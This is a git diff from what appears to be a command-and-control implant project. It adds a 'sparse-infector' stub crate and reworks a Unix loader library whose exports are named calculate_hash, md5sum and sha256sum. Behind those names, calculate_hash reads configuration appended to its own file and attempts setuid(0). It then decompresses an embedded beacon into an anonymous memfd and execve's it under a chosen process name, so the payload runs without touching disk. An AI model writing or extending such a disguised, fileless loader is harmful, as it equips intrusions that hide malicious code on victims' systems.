diff --git a/Cargo.lock b/Cargo.lock index 29bc6de..33e030d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2011,6 +2011,10 @@ dependencies = [ "pcap-sys", ] +[[package]] +name = "sparse-infector" +version = "2.0.0" + [[package]] name = "sparse-installer" version = "2.0.0" diff --git a/packages.nix b/packages.nix index 81917f8..e4a398b 100644 --- a/packages.nix +++ b/packages.nix @@ -51,6 +51,7 @@ let (craneLib.fileset.commonCargoSources ./nl-sys) ./nl-sys/src/bridge.c (craneLib.fileset.commonCargoSources ./packets) + (craneLib.fileset.commonCargoSources ./sparse-infector) (craneLib.fileset.commonCargoSources ./sparse-beacon) (craneLib.fileset.commonCargoSources ./sparse-unix-beacon) (craneLib.fileset.commonCargoSources ./sparse-windows-beacon) @@ -70,6 +71,7 @@ let (craneLib.fileset.commonCargoSources ./nl-sys) ./nl-sys/src/bridge.c (craneLib.fileset.commonCargoSources ./packets) + (craneLib.fileset.commonCargoSources ./sparse-infector) (craneLib.fileset.commonCargoSources ./sparse-installer) ]; }; diff --git a/sparse-infector/Cargo.toml b/sparse-infector/Cargo.toml new file mode 100644 index 0000000..0b5674d --- /dev/null +++ b/sparse-infector/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "sparse-infector" +edition = "2024" +version.workspace = true + +[dependencies] diff --git a/sparse-infector/src/lib.rs b/sparse-infector/src/lib.rs new file mode 100644 index 0000000..b93cf3f --- /dev/null +++ b/sparse-infector/src/lib.rs @@ -0,0 +1,14 @@ +pub fn add(left: u64, right: u64) -> u64 { + left + right +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn it_works() { + let result = add(2, 2); + assert_eq!(result, 4); + } +} diff --git a/unix-loader/build.zig b/unix-loader/build.zig index 75b64e5..fa1b509 100644 --- a/unix-loader/build.zig +++ b/unix-loader/build.zig @@ -26,12 +26,13 @@ pub fn build(b: *std.Build) !void { .pic = true, }); + libloader.addIncludePath(b.path("src")); libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon }); libloader.linkLibC(); libloader.step.dependOn(&tool_step.step); - const lib = b.addSharedLibrary(.{ + var lib = b.addSharedLibrary(.{ .name = "unix-loader", .root_source_file = b.path("src/loader.zig"), .target = target, @@ -47,7 +48,9 @@ pub fn build(b: *std.Build) !void { .strip = true, }); + lib.addIncludePath(b.path("src")); lib.addObject(libloader); + exe.addIncludePath(b.path("src")); exe.addObject(libloader); b.installArtifact(lib); diff --git a/unix-loader/src/abi.h b/unix-loader/src/abi.h index 3c132a1..35019b5 100644 --- a/unix-loader/src/abi.h +++ b/unix-loader/src/abi.h @@ -1,10 +1,34 @@ +#define XOR_KEY 98 + +typedef struct { + unsigned char a; + unsigned char b; + unsigned char c; + unsigned char d; +} ipaddr_t; + +typedef union SourceIp { + struct { + char mode; // set to 0 + ipaddr_t source_ip; + } use_host_networking; + struct { + char mode; // set to 1 + unsigned short netmask; + ipaddr_t source_ip; + ipaddr_t gateway; + } custom_networking; +} SourceIp_t; + typedef struct Parameters { - int destination_ip; - int source_ip; - short destination_port; - short pubkey_cert_size; - short privkey_size; - short privkey_cert_size; + ipaddr_t destination_ip; + SourceIp_t source_ip; + unsigned short destination_port; + unsigned short pubkey_cert_size; + unsigned short privkey_size; + unsigned short privkey_cert_size; + unsigned short beacon_name_length; char pubkey_cert[1024]; - char identifier[64]; + char beacon_identifier[64]; + char beacon_name[128]; } Parameters_t; diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index 079f840..2e36d4d 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -4,22 +4,48 @@ const beacon = @embedFile("beacon"); const Parameters = @cImport({ @cInclude("abi.h"); -}).Parameters_t; +}).Parameters; + +fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { + std.debug.print("Test {s}", .{parameters.beacon_identifier}); + + const uid = std.os.linux.getuid(); + _ = std.c.setuid(0); + + if (std.os.linux.getuid() != 0) { + return; + } -fn use_beacon(message: []const u8) !void { const pid = std.c.fork(); if (pid == 0) { if (std.c.fork() == 0) { - const target_fd = try std.posix.memfd_create("", 0); - var reader = std.io.fixedBufferStream(message); + const exe_fd = try std.posix.memfd_create("", 0); + var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe); + var exe_file = std.fs.File{ .handle = exe_fd }; - var target_file = std.fs.File{ .handle = target_fd }; + try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); - try std.compress.gzip.decompress(reader.reader(), target_file.writer()); + var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined; + const params_input_ptr: [*]u8 = @ptrCast(parameters); + @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr); + params_buffer[@sizeOf(Parameters)] = 0; - while (true) {} + try exe_file.writer().writeAll(¶ms_buffer); - std.c.exit(0); + var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator); + defer arena.deinit(); + const alloc = arena.allocator(); + + const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd}); + + const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]); + const file_path_ptr = try alloc.dupeZ(u8, file_path); + + const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; + const envp: [*:null]const ?[*:0]const u8 = &.{null}; + + _ = std.c.execve(file_path_ptr, argv, envp); + std.c.exit(1); } std.c.exit(0); } else { @@ -27,8 +53,14 @@ fn use_beacon(message: []const u8) !void { _ = std.c.waitpid(pid, &status, 0); _ = std.c.kill(pid, std.c.SIG.KILL); } + + _ = std.c.setuid(uid); } -export fn hash_internals() void { - use_beacon(beacon) catch {}; +export fn hash_internals(parameters: *Parameters) void { + use_beacon(beacon, parameters) catch |err| { + if (@import("builtin").mode == .Debug) { + std.debug.print("Error using hash internals! {any}", .{err}); + } + }; } diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig index e61d496..37fd5a3 100644 --- a/unix-loader/src/loader.zig +++ b/unix-loader/src/loader.zig @@ -1,13 +1,36 @@ -extern fn hash_internals() void; +const std = @import("std"); +const dbg = @import("builtin").mode == .Debug; const Parameters = @cImport({ @cInclude("abi.h"); -}).Parameters_t; +}).Parameters; -export fn calculate_hash() void { - hash_internals(); +extern fn hash_internals(parameters: *Parameters) void; + +var file_parameters: Parameters = undefined; + +fn fill_parameters() !void { + const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{}); + + try this_file.seekFromEnd(@sizeOf(Parameters)); + + var param_buffer: [@sizeOf(Parameters)]u8 = undefined; + _ = try this_file.reader().read(¶m_buffer); + + @memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer); } +export fn calculate_hash() void { + fill_parameters() catch |err| { + if (dbg) { + std.debug.print("Error calculating hash! {any}", .{err}); + } + return; + }; + hash_internals(&file_parameters); +} + +export fn md4sum() void {} export fn md5sum() void {} export fn sha256sum() void {} export fn sha384sum() void {}